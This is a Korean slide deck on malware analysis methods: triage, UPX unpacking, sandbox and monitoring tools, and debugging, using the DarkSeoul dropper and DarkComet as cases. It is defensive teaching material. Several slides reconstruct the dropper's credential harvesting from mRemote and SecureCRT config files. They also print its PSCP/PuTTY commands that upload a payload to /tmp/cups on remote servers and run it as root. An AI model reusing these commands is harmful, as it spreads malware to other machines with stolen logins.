악성코드 분석방법 PINCOM 김영성 dokymania@naver.com 13. 09. 28
목차 1 분석순서 2 초기분석 3 Unpack 4 동적분석 5 Debugging
분석 순서 초기분석 UnPacking 동적분석 Debugging
초기분석 - PEiD 악성코드의 외형을 분석 UPX Packed
초기분석 – Strings (Sysinternals)
Unpacking – using unpacker upx –d packed파일 –o목적파일
Unpacking – using unpacker Unpacked !
동적분석 – tool 소개 악성코드를 실행시켜서 각종 모니터링 툴로 관찰 <Process Explorer> <TCPView>
동적분석 – tool 소개 <Process Monitor> <Autoruns>
동적분석 – tool 소개 Command 명령 조합으로 Batch 파일 제작 -> 전, 후의 상황을 비교할 때 유용
자동화 분석(Automated System) cuckoo sandbox, CWsandbox http://www.cuckoosandbox.org http://mwanalysis.org
< CWSandbox의 기본 구조 > 자동화 분석(Automated System) < CWSandbox의 기본 구조 >
자동화 분석 – Cuckoo sandbox
자동화 분석 - https://malwr.com/ cuckoo sandbox 기반 VirusTotal library 이용
참고) APK 자동화 분석 < 안드로이드 apk 파일 분석 서비스 > Stowaway SanDroid Mobile-Sandbox23 CopperDroid ComDroid AndroTotal <Windows binary, APK, 의심스러운 URL> Anubix
동적분석 – Automated System
동적분석 – Automated System
동적분석 – Automated System
동적분석 – Automated System
동적분석 – Automated System
동적분석 – Automated System 4개의 DropFile 존재
동적분석 – Automated System
동적분석 – Automated System DarkSeoulDropper API호출 흐름
동적분석 – Automated System DarkSeoulDropper API호출 흐름
동적분석 – Automated System DarkSeoulDropper API호출 흐름
동적분석 – Automated System AgentBase.exe API호출 흐름
Service for VISMS Agent 동적분석 – Automated System Pasvc.exe vs Clisvc.exe 구분 Pasvc.exe Clisvc.exe 제품 Ahnlab Policy Agent ViRobot ISMS 회사 Ahnlab, Inc. Hauri 설명 paSvc Service for VISMS Agent 디렉토리 %PROGRAMFILES%\AhnLab\APC2\Policy Agent %PROGRAMFILES%\Hauri\SiteClient
동적분석 – Automated System AgentBase.exe API호출 흐름 PhysicalDrive0~9 까지 진행
동적분석 – Automated System AgentBase.exe API호출 흐름 SYNCHRONIZE | FILE_SHARE_READ SYNCHRONIZE | GERNERIC_WRITE | FILE_READ_ATTRIBUTES B: ~ Y: 까지 진행
악성코드는 모든 조건에서 실행되지 않는다. 동적분석 – Malwr.com의 한계 악성코드가 실행될 수 있는 Ex) - 악성서버와의 연결이 되어야 작동 - runtime library가 필요한 언어로 작성 - OS버전, 서비스팩에 따라 실행 악성코드가 실행될 수 있는 환경을 만들어 줘야 함.
Behavioral Analysis가 없다? 동적분석 – Malwr.com의 한계 - DarkComet ?? < darkComet > Behavioral Analysis가 없다? < darkSeoul >
동적분석 – Malwr.com의 한계 - DarkComet - XP sp3 환경에서 실행
동적분석 – Malwr.com의 한계 - DarkComet
동적분석 – Malwr.com의 한계 - DarkComet
IDA https://www.hex-rays.com Debugging - Tool UserMode Debugging http://www.ollydbg.de/ IDA https://www.hex-rays.com KernelMode Debugging Windbg http://msdn.microsoft.com
Debugging - 필요지식 Programming 언어 - Assembly, C, C++, …. StartUp Code - Main문이 실행되기 이전의 초기화 담당 - 프로그램 언어 / 컴파일러 종류별로 다름
Debugging - 필요지식 실행파일 구조 < ELF 구조 > < PE 구조 >
Debugging - DarkSeoulDropper DarkSeoulDropper의 StartUp Code
“C:windows\temp\~v3.log” 가 없으면 AgentBase.exe 실행 Debugging - DarkSeoulDropper dropfiles “C:windows\temp\~v3.log” 가 없으면 AgentBase.exe 실행
Debugging - DarkSeoulDropper "c:\Documents and settings\Administrator\Local Settings\Application Data\Felix_Deimel\mRemote\confCons.xml“ => mRemote "c:\Documents and settings\Administrator\Application Data\VanDyke\Config\Sessions“ => SecureCRT
Debugging - DarkSeoulDropper mRemote 설치 O -> 4033A0 함수 호출 SecureCRT 설치 O -> 404370 함수 호출
Debugging – 4033A0 함수 <Node , Username=“root” , Protocol=“SSH : 문자열이 존재하는지 Password=“” : 문자열이 존재하지 않는지 확인
Hostname, Descr, Panel, Port, Password 파싱 Debugging – 4033A0 함수 Hostname, Descr, Panel, Port, Password 파싱
Debugging – 404370 함수 %TEMP%\conime.exe -batch -P PORT -l root Password %Temp%\~pr1.tmp 서버 IP:/tmp/cups %TEMP%\alg.exe -batch -P PORT -l root -pw Password ServerIP "chmod 755 /tmp/cups;/tmp/cups"
Dropfiles - ~pr1.tmp
Dropfiles – conime.exe, alg.exe - Conime.exe : PSCP Console( Build 2006.03.13 23:32:43) - Alg.exe : Putty Console( Build 2013.02.14 23:14:13)
Dropfiles – AgentBase.exe
.NET File Reversing - DarkComet ?????????????
MSIL 코드 자체에는 데이터 형식 등 자세한 정보들이 포함 => 정확한 디컴파일 가능 .NET File Reversing - DarkComet MSIL 코드 자체에는 데이터 형식 등 자세한 정보들이 포함 => 정확한 디컴파일 가능
.NET File Reversing - DarkComet Decompiler - .NET Reflector
.NET File Reversing - DarkComet Decompiler - .NET Reflector
참고자료 - 강흥수 멘토님의 BoB 수업 - Ahnlab Clinic Center - [악성코드 탐지 -3] 에뮬레이터와 샌드박스 http://acc.giro.or.kr/secu_view.asp?seq=9531&category=01 https://malwr.com/ Elf 구조 : http://pobimoon-syspg.blogspot.kr/2012/03/mips.html PE 구조 : http://reversecore.com/18 .NET Framework 오류 : http://shallbox.tistory.com/43 - NSHC 3.20 사이버테러 사고 분석 보고서 악성코드 분석방법론 ASEC 장영준 연구원 http://www.slideshare.net/youngjunchang14/slideshare-21143372 < 악성코드 출처 > http://contagiodump.blogspot.kr <.Net 그림 출처> http://dotnetclass.blogsome.com
Q&A